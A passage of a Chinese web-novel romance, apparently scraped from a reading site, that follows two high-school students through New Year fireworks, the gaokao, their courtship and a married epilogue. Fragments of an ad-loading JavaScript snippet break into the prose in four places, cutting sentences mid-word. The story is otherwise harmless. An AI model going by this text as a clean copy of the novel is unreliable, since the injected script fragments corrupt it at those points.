姜祁月看不惯他小人得志的样子:“稳重一点,成绩还没出来。” “小乖,你是不相信自己还是不相信我?”霍鸷阳不赞同的摇头。 姜祁月:“……” 姜祁月加快几分往前走的速度,懒得搭理霍鸷阳。她就没见过这么厚颜无耻的人。 霍鸷阳闲不住,姜祁月不找他说话,他一个人也能碎碎念一大堆,心底藏不住一句话。 好在成绩出来后,霍鸷阳的分数和排名确实和去年的今天有了质一样的变化,不然姜祁月都不敢想过年霍鸷阳要怎么收场。 两家聚在一起吃年夜饭时张淑琴非常高兴,连着喝了好几口酒,抱着姜祁月痛哭流涕。 那架势,就差感动地给姜祁月立庙供奉了。 霍鸷阳看着也有些不是滋味儿,一改混不吝的样子,端起饮料给所有人敬了一杯:“之前是我不懂事,谢谢大家愿意担待我。” “长大了,真是长大了。” 霍鸷阳爸爸也摇了摇头,将杯子里的酒一口闷了。 “可不是吗,明年过年再聚,小乖他们都大一了。”姜祁月爸爸赞同附和。 年夜饭结束,家长们凑在一起打扑克,姜祁月被塞了一大把零钱。 塞钱的淑琴阿姨酒意未散,又给霍鸷阳抓了一把,压低声音叮嘱:“带小乖多买点吃的去,烟花什么的也能买回来带小乖玩玩。” 姜祁月抿了抿唇瓣,想说自己不是小孩儿了。 话没来得及说出口,就听霍鸷阳嬉皮笑脸道:“得嘞,把小乖交给我就放心吧。” 仅此一句,让姜祁月顾不上再说其他的了。 明明很正常一句话,她听了心里却莫名有些发虚,仿佛背着家长偷偷做了什么很不好的坏事。 44.独发,禁止转载 深冬的风吹在脸上,冰冷刺骨。 姜祁月里三层外三层将自己裹严实,才跟着霍鸷阳一起出门。 F市年夜饭吃的比较早,这会儿有许多小孩吃完年夜饭相约玩耍,带着零花钱和小伙伴围在小卖铺边买烟花棒,速度快的更是占据空地,一个烟花接一个烟花的放。 天色一暗,这一幕更显壮观。 走着走着,霍鸷阳突然停了下来。 姜祁月收回四处看的视线,奇怪地问:“怎么突然停下来了?”刚刚不还在好好往前走吗? “别人都在玩烟花棒,咱们也买点玩玩儿。”霍鸷阳站在小卖铺门口说。 排在前面的小朋友听了眼睛一亮,热情的分享起什么款的烟花棒玩儿起来最漂亮。 “真有那么多讲究?”霍鸷阳稀奇的打量了一圈店里的烟花棒。 小朋友得意洋洋,一边付钱一边说:“那可不,听我的准没错。” “那行,我试试。”霍鸷阳非常听劝,选了小朋友推荐的那款。 姜祁月站在一边看着没有说话。 付完钱,小朋友朝他们露出个“算你们识货”的表情。 霍鸷阳脸皮厚,嬉皮笑脸的走出小卖铺,姜祁月没那么厚脸皮,被小朋友看的恨不得钻地缝里,直到远离了小卖铺才缓过来,小声问霍鸷阳:“你什么时候这么幼稚,还喜欢上玩儿这些了?” “怎么就幼稚了?年纪比我们大的大人不也在玩吗?我们怎么就不能玩儿了?”说完,霍鸷阳还指了指不远处的广场上那些陪小孩儿玩烟花棒的家长。 比年龄,他们确实不是最大的。 更何况…… 霍鸷阳目光落在姜祁月身上,发出灵魂之问:“再说了,你就不想玩烟花棒吗?” 姜祁月:“……”好像还真有点想…… 不等她回答,霍鸷阳就率先往前走了一大步,跃跃欲试加入广场上放烟花棒的队伍,还不忘迅速朝姜祁月挥手:“快来啊!” 要不是人多,四周全是欢呼声,这会儿他们估计被所有人盯着看了。 姜祁月怕他多叫几声吸引所有人注意,匆匆跟在他身后进了广场。 这是市中心最大的广场,每年过年都会有烟花表演,天才刚黑就聚集了一大批人,等到烟花表演的时候,人只会更多。 按照霍鸷阳的说法,既能玩烟花棒,还能占个好位置看烟花表演,简直一举两得。 很没根据的一番话,烟花表演在四周的奶茶店里也能看见,姜祁月却被说服了,点燃霍鸷阳递来的烟花棒,唇角不受控制的往上扬,水润漂亮的眼眸闪烁着璀璨光芒。 霍鸷阳买了许多烟花棒,不仅够他们自己玩,还分了一些给周围眼巴巴盯着看的小朋友家长。 放完最后一个烟花棒,姜祁月还有点意犹未尽,并没有察觉到霍鸷阳放的烟花棒比起自己的少多了。 “玩这么久渴了吧?走,请你喝奶茶去,刚好补补水。”霍鸷阳看了眼广场周围,正好看见姜祁月平时爱喝的那家奶茶店,立刻拍板把人带去奶茶店。 喝奶茶补水,估计也就他能说得出口。 姜祁月没有点破,礼貌道谢,跟在霍鸷阳身后一起进了奶茶店。 奶茶店空间不大,但里面开着空调,非常暖和。 和天寒地冻的外面比起来,奶茶店里简直舒服了无数倍。 坐在店里没一会儿就暖和了。 再搭配一杯热气腾腾的奶茶,简直妙不可言。 奶茶店人多,霍鸷阳看了眼,不放心的叮嘱姜祁月:“我去排队,你在这里待着别动,买好我就来找你。” “我又不是小孩儿。”姜祁月不是很习惯被当成小孩儿对待。 长辈们在年夜饭上喝了酒,所以把他们当成小孩儿打发出来玩,但霍鸷阳又没喝酒,怎么还这样啊…… 霍鸷阳脸上满是笑意,顺着她的话往下说:“好,那就麻烦大朋友多在这里坐会儿等我。” 空调风吹在身上,奶茶店独有的香味直往鼻子里钻。 姜祁月沉默许久,还是没有反驳那句“大朋友”,目送霍鸷阳站到排队的人群里。 奶茶店员工速度快,排队的人看着长得吓人,实际上没排多久就到了霍鸷阳。 姜祁月一直坐在角落看着排队的人,霍鸷阳刚拎着两杯奶茶转身她就注意到了。 奶茶被放置在小圆桌上,霍鸷阳的声音跟着响起。 “我刚刚问了一下店员,他们说大概半个小时后就到了烟花表演。” “广场是最好的打卡拍照点,等会儿我们出去占个位置,捧着热奶茶应该不会太冷。” “到时候广场人多,咱们凑近点,防止被挤散了,到时候拍照片都不好拍。” 喋喋不休的叮嘱声没有引来姜祁月不耐烦,她耐心地应声点头,紧跟在霍鸷阳身边。 霍鸷阳拍照手法非常好,烟花表演一年只有一次,要是走散了没拍到该多可惜呀。 外面依旧很冷,从奶茶店出来感觉更鲜明了。 好在有奶茶暖手,不至于难 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以忍受。 半小时说长不长,说短也不短。 奶茶喝完时,天边刚好炸响烟花。 姜祁月迅速将手中的奶茶杯丢进一旁的垃圾桶里,回到之前的位置上抬头往上看。 市中心的这个广场真的很适合看烟花表演,大朵大朵烟花在上方绽放,将黑漆漆的夜色照亮,站在下方看非常壮观。 仅此一眼,姜祁月就被深深震撼到了。 出神之际,耳畔突然响起熟悉的声音。 “快看我。” 姜祁月下意识朝声音发出的方向看去。 是霍鸷阳。 此时的他正举着手机对准她,一副要拍照片的样子。 见状,姜祁月顾不上出神,连忙摆出适合拍照的姿势。 身后是璀璨耀眼的烟花,前方是指挥拍照的霍鸷阳。 姜祁月笑的非常自然,周身洋溢着快乐氛围。 咔嚓一声。 画面被定格在相册中。 烟花爆竹越放越多,声音响亮,震的几乎听不见其他声音。 放下比出剪刀姿势的手时,姜祁月好像看见霍鸷阳说了什么。 声音被爆竹声盖下去,什么也听不见。 姜祁月上前几步,打算凑近点听。 凑过去时已经晚了,霍鸷阳说完了。 “你刚刚在说什么?” 烟花爆竹放的差不多了,姜祁月才有机会问出这个问题。 “刚刚问你玩得开不开心。”霍鸷阳嬉皮笑脸。 姜祁月皱眉,有些不相信:“就这样吗?”她虽然没听见声音,但看口型应该不止说了这几个字吧? “不然还能问什么?”霍鸷阳不答反问。 姜祁月想要说些什么反驳,对上霍鸷阳专注的视线时才意识到什么。 她轻轻的哦了一声,没再多问。 回去的路上,两人都很沉默。 直到分开时,霍鸷阳才冷不丁开口说话:“我之前没说完整,其实还有半句话。” 姜祁月心脏漏跳半拍。 不等她阻止,霍鸷阳已经接着往下说了。 轻描淡写的语气。 看上去若无其事。 话却有千斤重。 他说:“要是跟我在一起能让你开心,能不能考虑在高考结束后给我个机会?” 只要给他一个机会,他就会紧紧抓住。 他会努力变好,努力提升自己,努力追上姜祁月的步伐,不会浪费这得之不易的机会。 45.独发,禁止转载 说完这句话,霍鸷阳还怕姜祁月误会,连忙补充了一句:“我只是随口一问,要是让你觉得为难可以不用回答,或者高考之后再回答也可以。” 寒风凛冽,雪花纷纷落下。 姜祁月站在院门口,目光落在霍鸷阳身上,稍微有些恍神。 如果这些话是在几个月前问的,她肯定会毫不犹豫拒绝,但此刻再听,却莫名觉得有点道理。 她跟霍鸷阳待在一起,确实很开心。 霍鸷阳仿佛知道她在想什么,每句话都直往她心里戳:“我就是觉得与其选让自己不开心的人在一起,不如和能让自己开心的人。” 这话有点绕口,却无比真实。要是必须选人在一起,最该选的肯定是能让自己高兴的那个。 “等你体育考试结束后再说吧。”姜祁月没有给出肯定回答,只说了个日期往后延迟。 霍鸷阳有些着急,试探着问她:“一定要等到那时候吗?” “嗯,如果你能证明这件事不仅不会影响学习,还能让成绩变好,答应给你个机会也不是不行。”姜祁月应了一声,语气轻飘飘的,仿佛在说一件再普通不过的事。 霍鸷阳的面色却连着变了好几番,从震惊到难以置信,最后变为欣喜若狂,像极了五颜六色的调色盘。 “真的吗真的吗?你不是在哄我吧?”霍鸷阳呼吸急促,双手都有些发颤,声线更是轻颤不稳,一副受到极大冲击的样子。 姜祁月无奈点头:“我用得着骗你吗?” 这么长时间的相处,她对霍鸷阳的定位已经慢慢转变过来了,脱离从小到大的哥哥滤镜,霍鸷阳说得确实没错,如果要做选择,他确实是最适合的。 而她,对霍鸷阳也没有什么排斥感。 既然霍鸷阳不觉得被她知道所有古早黑历史尴尬,她也不用一直陷在不必要的纠结里,毕竟她从小到大一直很稳重,没有什么黑历史。 “放心,五月份一定会考个好成绩!”霍鸷阳神采飞扬,激动地恨不得绕着院子跑几圈。 在体育特长生里,他绝对是不可多得的天赋型选手,几次代表市里参加比赛,也取得了非常亮眼的好成绩。 只要不出意外,五月初的体育考试他一定能取得好成绩。 “考前记得戒骄戒躁。”姜祁月多提醒了一句,淡淡补充道:“要是退步了就算了。” “不能算,不能算,等开学我就加倍努力训练,绝对取得好成绩,到时候你报什么学校我就报你附近的学校。”霍鸷阳笑的合不拢嘴,连以后报考什么学校都安排的妥妥当当,什么都算好了。 姜祁月眼角微弯,璨若星辰的眼眸认真看着霍鸷阳:“那我就等你好消息了。” 话是这样说,实际上他们都知道最终结果。 春节一过,就到了开学报名。 比起上学期,高三下学期的学习氛围更浓,考试次数也更频繁,几轮复习之后,天天都在考考考,不是小考就是联考。 还好学校比较人性化,每次联考结束都会取消晚自习,给高三生们一个喘息的机会。 唯一的例外就是霍鸷阳。 由于转班的原因,他不仅要参加理科班频繁的考试,还得抽出所有空余时间训练。 连轴转的样子看的姜祁月都替他累,苏浅灿围观几次后忍不住感慨,以后更应该被担心学傻的人是霍鸷阳。 不过霍鸷阳确实争气,在五月初的体育特长生考试中,取得了非常厉害的成绩。 有这个成绩打底,下个月的高考再稳一点,完全不用担心上不了好大学。 体育成绩出来的当天,张淑琴喜极而泣,立刻起身买了一大堆纸钱准备烧给列祖列宗。 被拉着一起去烧纸钱的乔玉韵刚好忙完手边的工作,哭笑不得的答应了张淑琴的邀请,烧完纸钱回来,乔玉韵还在说她。 “这还没到高考,要是到了高考你得多紧张啊,放宽点心态,小孩儿还没急我们怎么能急成这样?” “道理我都懂,我也不是没经历过高考,但就是担心他们……”张淑琴欲言又止,自己也说不清是什么情况。 乔玉韵莞尔一笑,轻声细语地安慰她:“放心,小阳和小乖这几次联考成绩一直很稳定,不会出意外的,咱们快回去吧,我锅里还炖了汤,刚好给他们补补身体。” 可以说高考前的姜祁月和霍鸷阳享受了皇帝待遇,每天回家都有不同口味的大补汤。 连着喝几天别说霍鸷阳,就连姜祁月都补过头流了次鼻血。 自此,家里的大补汤转变成温和的普通汤水,就算熬点鸡汤鸭汤,也不会再加人参之类的东西。 时光飞逝,五月一过就到了六月。 距离高考日期越来越近,这也代表大家相聚的时间越来越少。 高考结束班 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里人就会各奔东西,各自前往不同的省份上大学,每次想到这里,班里的气氛就会变得凝重。 班里的同学仿佛突然成长了,变得非常成熟稳重,什么事都会主动做,根本不用班主任操心。 班主任也受到影响,不再像之前那样容易生气,经常盯着他们看得出神,也不知道在想些什么。 对于他而言,无论送走多少届学生,都会在即将送走新一届时感到不舍和感慨。 高考前夕,班主任组织了一场主题班会。 班会上同学们正襟危坐,从未有过这么认真的听一次班会。 开场白依旧是老生常谈的句子,但这次没有一个人走神。 临到离校,同学们反而怀念起这些话。 以后再想听班主任说这些话,也不知道还有没有机会了。 说完开场白,班主任轻叹一声,目光依次扫过班里的学生:“接下来的路只能靠你们自己走,希望大家仔细再仔细,提前做好一切准备,不要给自己留遗憾。还是那句话,不管大家成绩怎么样,只要人品端正,都是老师的骄傲。” “我在学校静候大家的好消息,祝大家蟾宫折桂,雁塔题名,取得自己满意的成绩。” 话落,台下响起响亮的鼓掌声。 姜祁月轻呼一口气,心里还有些不适应。在她心里,班主任一直是中气十足的开朗形象,而不是现在这样多愁善感。 不过很快她就顾不上多愁善感了。 因为霍鸷阳一开口,整段瞬间垮掉。 “哎,大家别急着煽情啊!等高考结束后还有班级聚餐,又不是真见不到了!” 班主任:“……” 班主任狠狠瞪了霍鸷阳一眼,直骂他没有一点氛围感,就知道破坏气氛。 班里其他同学也笑成一片。 胆大点的跟风点头说:“没错,大家考个好点的成绩,这样散伙饭也能吃的高兴点。” 班主任气的吹胡子瞪眼:“这还没高考呢就散伙饭,想的真远,我可提前说好了,要是你们考的不好,我可没脸去。” 话是这样说,但看班主任笑得一脸褶皱的样子就知道,就算大家考的不好,他也会如约而至。 悲伤煽情的气氛虽然被霍鸷阳破坏了,但比被破坏前更让人舒心。 姜祁月眼角微弯,唇角也不自觉上扬。 就这样也很好。 46.独发,禁止转载 高考前一天下午,姜祁月带着霍鸷阳一起去考场踩点。 他们刚好在同一考点,就是考场一个在东一个在西。 看完考场,两家父母已经在校外等着了。 见他们出来,纷纷询问他们怎么跑的这么快,都不知道等他们一起。 姜祁月不知道怎么回答,目光转向霍鸷阳。 这么长时间过去,霍鸷阳性格变了不少,但有时候说话依旧气人:“只是提前踩点,又不是到了考试那天,至于这么多人齐齐整整过来吗?不知道的还以为咱们要打架。” “去去去,怎么说话的,不会说话就少说点。”张淑琴气的抬手拍了霍鸷阳一巴掌,想不通自己怎么就养出这么个混不吝来。 就连平时站霍鸷阳那边的乔玉韵都点头说:“虽然还没到考试的时候,但依旧得重视,你们备考用品都准备好了吗?准考证身份证这类东西一定不能忘。” “早就已经准备好了,全都装在备考袋里。”姜祁月温声开口替霍鸷阳解围。 张淑琴笑着夸道:“还是小乖细心,要是霍鸷阳有小乖一半让人省心就好了。” 姜祁月沉默许久,还是开口说:“淑琴阿姨,备考袋是霍鸷阳花钱买的。” 无论从哪个角度看,专门买个只能用一次的备考袋都不是很划算。 姜祁月的考试用品都是装书包里的,还没买过专门的备考袋,要不是霍鸷阳花钱买回来两个,她现在还在用书包。 但这些其他人不知道。 张淑琴更是惊讶地睁圆眼睛,不敢相信亲儿子能想得这么细。 霍鸷阳不满意了:“听听,我买的备考袋,怎么就不让人省心了?” 顺着杆子往上爬的样子看得张淑琴直磨牙,要不是顾忌着明天高考,她高低得怼两句。 霍鸷阳好像也知道自己有块免死金牌,可着劲拉仇恨,一张嘴什么都敢往外说,也不想想高考就几天,等高考结束后一次性算账能不能受得了。 姜祁月不知道其他人怎么想,但她自己真替霍鸷阳感到后怕。 直到第二天进考场大门时,她才清楚霍鸷阳怎么敢那么作死。 “等高考结束咱就请苏浅灿他们去KTV玩一次,算是还之前生日的请,然后第二天我们就出去旅游,好不容易没有学习压力,一定得出去好好玩玩儿。” 今天艳阳高照,天气很好,但姜祁月却觉得霍鸷阳的笑容比太阳还灿烂耀眼。 她淡淡收回目光,在楼梯岔口跟霍鸷阳分开,没有告诉霍鸷阳他想得有点过于理想化。 按照他说的算法,距离旅游前还得在家待两天,两天时间用来算账,对于淑琴阿姨来说绰绰有余。 不过这些都是后话,现在更重要的是考试。 都说高考是千军万马过独木桥,每年高考日网上都有无数关于高考的讨论,哪怕成绩一直很稳,姜祁月踏进考场时也很紧张。 但拿到试卷的瞬间,一切纷扰都消失不见,她的眼前和心里只有试卷。 一整张卷子写完,距离交卷时间还有半小时。 姜祁月没有急着交,认真检查了好几遍,踏着交卷铃离开考场。 安静的考场仿佛被交卷铃唤醒。 一起从考场出来的人纷纷找到认识的同学,围在一起讨论语文考试的作文和其他题目。 同伴的几个学霸刚好在姜祁月考场隔壁,也是交卷铃声响起才出来的,见到姜祁月下意识想来讨论题目。 姜祁月还想着霍鸷阳考的怎么样,没什么心思讨论考题,好心提醒了兴冲冲的同学一句:“老师之前就说过考一门丢一门,太早对答案会影响考试心态。”更别说这个同学还是出了名的家里管的严,心态容易崩。 她只是点到为止,没有说得太深。 但这足够那个学霸同学感激了,他惭愧的挠了挠头:“你说的对,是我太冲动了。” 见他听进去了,姜祁月才放心离开,打算去找霍鸷阳。 没想到霍鸷阳速度比她还快。 姜祁月没走几步,就看见迎面朝自己跑来的少年。 她没有问霍鸷阳考得怎么样,只说:“恭喜你,语文学科彻底解放了。” “同喜同喜。”霍鸷阳难掩笑意,一边往外走一边眉飞色舞的说:“之前我一直在想高考有没有传闻中的可怕,没想到跟之前的联考一样,都是一张试卷一张答题卡。” 姜祁月一忍再忍,忍无可忍,扫了霍鸷阳一眼:“除了一张试卷一张答题卡你还想要什么?”知道的知道这是高考 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不知道的还以为他要去西天取经。 “哎,我就开个玩笑,别生气别生气,要是影响到下午的考试,我可成千古罪人了,到时候你淑琴阿姨铁定扒了我的皮!”霍鸷阳表情浮夸,说到最后甚至瑟瑟发抖上了。 好巧不巧,说这句话时他们刚出考点大门,两家父母和其他家长一样,齐齐守在外面等孩子出来。 一番话一字不落,全部落在张淑琴耳朵里。 原本笑容满面的样子差点维持不住,又一次游走在揍儿子的暴走边缘,好在她在心里默念了无数遍“还有高考”,这才没真做出打孩子的事来,只皮笑肉不笑的说:“又不是缅甸,你妈我也不想坐牢,不至于真扒了你的皮。” 话是这样说,但看她狰狞的表情,好像真有点心动。 霍鸷阳知道自己这两天太作死了,不敢再玩火,鹌鹑般躲在姜祁月身后不说话。 那么大个块头,怎么看怎么违和。 也就姜祁月没脾气,不仅没有赶走厚脸皮的霍鸷阳,还帮忙说了几句话解围。 有姜祁月从中周旋,张淑琴才没有生气。 下午的考试排在下午三点,时间非常宽裕。 吃完午饭午睡了一会儿,姜祁月敲响霍鸷阳的门,结伴一起去考点参加下一门考试。 有上午的考试经验在,下午两人如鱼得水,放松许多。 最后一门英语考试时下了场小雨。 居高不下的气温降低许多,微风吹过非常舒服。 考生们出来时天恰好放晴。 姜祁月依旧是等到交卷铃打响才离开的。 霍鸷阳有样学样,同样等到交卷铃打响才出去。 踏出考点大门时,一起出来的两人看见外面围了一大群人,还在奇怪发生了什么事。 姜祁月耳尖,仔细听了一会儿才弄清怎么回事。 霍鸷阳也听到了。 “出彩虹了!”他兴冲冲对姜祁月说。 姜祁月侧身朝霍鸷阳看去,对上一双带笑的眼眸。 抬头往上看,是一道绚烂多彩的彩虹。 雨过天晴,晴空万里。 仿佛在预兆他们的未来也会扫去一切阴霾,如同雨后彩虹般漂亮夺目。 (正文完) 47.独发,禁止转载 高考结束当晚,霍鸷阳就为自己的作死付出了代价。 听着隔壁院子传来的骂声,姜祁月颇为无奈,随口说了句:“都多大人了,还这么幼稚。” “这段时间你淑琴阿姨紧张的很,现在闹一下刚好能放松放松,不算是坏事。”乔玉韵轻笑一声,被女儿故作老成的样子逗笑了。 姜祁月想了想,好像确实是这样,便重新换了个话题:“对了妈妈,霍鸷阳之前说高考后要一起出去旅游,大概后天就走。” “可以啊,出去走走能开阔视野,是件好事。”乔玉韵轻笑着揉了揉乖女儿头顶,豪气的说:“要是钱不够记得跟我和你爸爸说,出去玩就好好玩,咱们家不缺钱。” 何止是不缺钱,小乖出生起就乖,没让他们这对新手父母受一点罪,他们夫妻二人的事业也顺风顺水,这么多年来就没操过什么心,前段时间还先后升了职,待遇和薪资变得比之前还好,攒下的钱非常可观,别说出去玩了,就算在出去玩的地方给孩子全款买套房住都不是问题。 “妈妈,孩子不是这么养的,太惯着孩子不好。”姜祁月沉默许久,还是将一直藏在心里的话说出来了。 乔玉韵乐不可支,故意说:“有什么不好的?我就爱惯着,惯坏了也高兴。”更别说小乖一直以来都乖得让人心疼,怎么可能会被惯坏? 不等姜祁月说什么,她又话锋一转,叹了口气:“不过小阳那边可能有点麻烦,这样吧,我去跟你淑琴阿姨说一下,让她别把小阳打出毛病了,不然还怎么去旅游。” “妈……”姜祁月哪儿听不出她是故意这样说的,犹豫了几秒后想把自己答应和霍鸷阳在一起的事告诉她听,但话没说出口,就见爱吃瓜的妈妈出去了,估计是去隔壁近距离围观。 一鼓作气,再而衰,三而竭。 姜祁月没好意思跟上去,干脆联系苏浅灿和上次参加苏浅灿生日聚会的人明天去KTV玩。 这是她早就答应过的,也早就做好了打算,连地址都特意选的之前苏浅灿预约的那家,目的就是弥补之前没去成的遗憾。 苏浅灿当然能感觉到她的用心良苦,在电话那头感动的泪眼汪汪,恨不得顺着手机屏幕爬过来抱着她哭。 挂断电话,姜祁月揉了揉被震得发麻的耳朵,很是疑惑不解。 高考有那么可怕吗,怎么感觉考完后大家都有点过于激动了? 不仅是解放的考生激动,考生家长也很激动。 此处点名霍鸷阳一家。 直到第二天去KTV,姜祁月才看见了霍鸷阳,沉默许久,还是开口问:“昨天……你还好吗?” “大意了,我还以为只要我跑的速度快就没事,谁能想到下午刚考完,晚上就被抓住清算。”一说这个霍鸷阳就牙酸,丝毫不见不久前桀骜不驯的作死样。 姜祁月都不想说他什么,只丢下句:“活该,让你惹淑琴阿姨生气。” 霍鸷阳小心翼翼朝她看了眼,确认她没生气才继续凑上来。 也不知道他跟谁学的讨喜话,姜祁月被逗笑后也不好意思再不理他。 到了KTV,之前那些朋友已经在那儿等着了。 由于都是熟人,大家都很放得开,五音不全的也敢上去高歌几曲。 姜祁月都洒脱不少,在大家都唱过瘾后,主动加入游戏中。 说来也巧,今晚幸运女神格外眷顾她,一整晚都没让她输一次。 和她相比,霍鸷阳就在另一个极端。 硬生生输了好几局,到后面还被灌醉了。 如果只是被灌醉倒没什么,偏偏霍鸷阳喝醉后就格外乖巧老实,不用特意问,就竹筒倒豆子般什么都敢往外说,所有秘密都被倒出来了。 当时姜祁月有点微醺,特意出去吹风,回来就发现包间内氛围不对劲,得知发生什么后差点尴尬地钻地缝里去,慌忙找了个理由就带着霍鸷阳离开。 理由很蹩脚,但KTV包间里微醺的众人同样深陷打击中没有回神,呆呆地坐在沙发上目送他们离开。 至于得知暗恋、约同人文稿、建议上交手机等一系列秘密的众人酒醒后是什么心情,就不在姜祁月现在的考虑范围内了。 现在她只想快点带霍鸷阳离开。 喝醉的霍鸷阳不鸣则已,一鸣惊人,开口就能把人吓个半死。 消息传播速度快,就像不定时炸弹般悬在头上。 当晚酒醒,霍鸷阳也意识到自己说的话拉了多少仇恨,连夜收拾好明天旅游要带的东西,一大早就敲响姜祁月家大门。 姜祁月面皮薄,不想被父母好友好奇围观,同样不好意思在家多待,推着提前收拾好的行李箱就和霍鸷阳一起出门旅游去了。 虽然确认了恋爱关系,但姜祁月和霍鸷阳的相处模式依旧没有太大变化,亲密程度也仅限于牵手,非常有分寸感。 换成其他人或许觉得节奏太慢,对霍鸷阳而言却足够他激动一整晚,恨不得在床上打一整夜滚。 高考成绩出来前,他们去了很多地方打卡拍照。 姜祁月没有发朋友圈的习惯,霍鸷阳却像个开屏孔雀般把照片往朋友圈发。 刚开始家里人还没想歪,在朋友圈插科打诨开玩笑。 只到被霍鸷阳亲口抖出去的秘密公之于众,家里鸡飞狗跳了好几天,才总算接受霍鸷阳成功追上宝贝小乖的事实。 张淑琴消息轰炸了一整天,勒令霍鸷阳一定要对小乖好,千万别做让小乖不高兴的事,末了,还不忘骂儿子一句老奸巨猾。 霍鸷阳被骂了也不生气,开开心心的应了下来,背地里还联系上乔姨,把让哄高兴了才彻底放心,看着身边的姜祁月傻傻的笑了,心里别提多快乐。 他终于过了明路,成了姜祁月正儿八经的交往对象了! 高考成绩出来那天,姜祁月和霍鸷阳刚好回家。 同时查分的人太多,服务器稍微有点卡。 两台电脑网页同时刷新,客厅气氛焦灼,两家人都很紧张高考分数。 霍鸷阳不辱使命,距离体育特长生划分的文化课一本线高了一百多分,稳上国内所有体育大学。 更值得一提的是姜祁月。 她的成绩被自动屏蔽了。 短暂的紧张过后,乔玉韵很快意识到什么,心脏跳动速度加快,脸都憋红了。 恰在此时,电话铃响起。 接通电话时,乔玉韵双手发颤。 四周所有人呼吸都不自觉放缓,等她聊完挂断电话才松了口气。 张淑琴性子急,急忙出声问是谁打的电话。 “是清大招生组,小乖的成绩可能比咱们想的还好,系统自动屏蔽了。”乔玉韵深呼吸了好几口气,才接受这个梦一样的事实。 姜祁月也有些恍惚。 直到耳畔响起祝贺声,才意识到这是真的。 这一天他们全家都很忙,忙着接各种学校招生组的电话,班主任和校领导收到消息后,也给她打来了无数个电话。 按照班主任的说法,估计有些学校招生组的人还会到他们家抢人。 “现在是咱们选学校,一定要好好选,千万别着急。”班主任在电话里笑得合不拢嘴。 挂断电话,姜祁月仔细想了很久,在晚上吃饭时问了同样喜笑颜开的父母一个问题:“爸妈,如果我选择音乐学院,你和爸爸会不会不高兴啊?” “为什么不高兴?”姜父有些奇怪。 还是乔玉韵心细,猜到女儿在担心什么,柔声笑道:“小乖,你是不是对咱们家的条件了解的不是很清楚?咱们家只是低调,不是穷,家里也不需要你赚钱,你想做什么去做就是了,不要考虑太多,爸爸妈妈都支持你。” 向来温雅的姜父听懂了,颇为赞同的点头:“没错, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸妈妈都支持你,想做什么就去做吧,喜欢钢琴就去学,不要给自己留遗憾。” 在这一点上,他很有发言权。 当初姜父就是考虑太多,才放弃自己的喜好去选择就业前景更好的专业和学校,说不遗憾是假的。 现在他这么努力工作赚钱,就是为了给女儿更多选择机会,不会被原生家庭拖累,想做什么就做什么。 “谢谢你们。”姜祁月释然一笑,心里压着的大石头轰然倒塌。 几天后,好几个学校的招生组赶到姜祁月家“抢”人。 姜祁月却做了个所有人都惊讶的决定,她婉拒了名声最高大上,就业前景最好的清北和其他大学,选择了相对而言冷门许多的音乐学院。 冷门也只是跟清北的热门专业相比,实际上姜祁月选的是国内最好的音乐大学,国际上许多知名钢琴家都是从这所学校出来的,师资非常厉害。 姜祁月的表现和天赋也非常亮眼,从入学后就靠表演打动了所有人,证明自己除了成绩好,钢琴弹得更好。 技巧或许比不上别人,但天赋是掩饰不了的,用老师的话说,她的琴音里有感情。 作为优秀学生代表,姜祁月多次代表学校参加钢琴比赛,毕业后更是越来越耀眼,斩获一个又一个国际比赛大奖。 能让她走到这个高度的除了父母的支持外,还有霍鸷阳的帮助。 都说缘分天定,他们之间真的很有缘。 姜祁月心仪的音乐大学隔壁就是一所体育大学,霍鸷阳毫不犹豫地报了名。 虽然不是一所学校,但他们的关系倒是越来越好,每次姜祁月出去参加比赛,霍鸷阳都会跟在后面做好后勤工作。 毕业后,霍鸷阳得知姜祁月想找助理,立刻毛遂自荐,直言自己不仅能做好后勤还很能打,最最最重要的是免费! 开始姜祁月还有顾忌,后来知道这也是淑琴阿姨他们的意思就答应了。 霍鸷阳她很放心,换成其他人还真不一定能放心。 恋爱六年后,他们结婚了。 和国内大部分家庭不一样,他们是男主内女主外,也不准备要孩子。 曾经听过霍鸷阳大名的老同学非常不理解,不明白霍鸷阳为什么这样做,逢年过节也有碎嘴的亲朋好友在霍鸷阳父母面前念叨。 对此,霍鸷阳父母不以为耻反以为荣,话里话外就差夸儿子有本事吃软饭,气得碎嘴的人脑袋发晕。 再后来,霍鸷阳父母创业的公司上市,霍鸷阳身价跟着水涨船高。 曾经围在霍鸷阳父母身边碎嘴的人又转去念叨霍鸷阳。 谁也没想到霍鸷阳青出于蓝而胜于蓝,比他父母更能气人,阴阳怪气了碎嘴的人一通,还茶里茶气的问他这么生气,是不是吃不上软饭就酸了。 几次下来,没人再敢在霍鸷阳面前说这些。 姜祁月也听见了风声。 彼时她留在母校担任大学教授,刚准备下班就看见张开双臂向自己走来的高大男人。 她的心跳快得几乎跳出嗓子眼,快步冲进霍鸷阳怀里,任由对方将外套披在自己身上,笑着听他碎碎念。 “都变温了,怎么也不知道多穿几件衣服?真不怕感冒吗?” “这不还有你吗?”姜祁月哈了一口气,眼角微弯,突然问了句:“他们说的有道理,你只在我身边当个小助理不会后悔吗?” 霍鸷阳学着乔姨那样重重揉了揉姜祁月头顶:“怎么可能会后悔,天知道我等这个机会等了多久。” 他暗恋了姜祁月很久很久,一直隐藏的很好,没有一个人看出来,他也没有跟任何人说过。所有人都觉得他和姜祁月只是单纯的兄妹情,只有他知道那是飞蛾扑火的暗恋。 即使知道这场暗恋或许永远不会有结果,但他依旧放不下。 好在努力终有回报,他抓住了他的月亮。 48.独发,禁止转载 凌晨,州城一中贴吧。 一条吐槽帖突然冒出来,很快引来一群吃瓜群众注意,并且在未来凭着稳定更新的回帖量,成为校贴吧楼层最多的几个帖子之一。 主题贴: 【吐槽】真没见过如此厚颜无耻之人! 1楼:不是标题党!不是标题党!事情过了很久每次想起来还是会很生气! 2楼:前排吃瓜中,楼主说话不要大喘气,有什么就直接说。 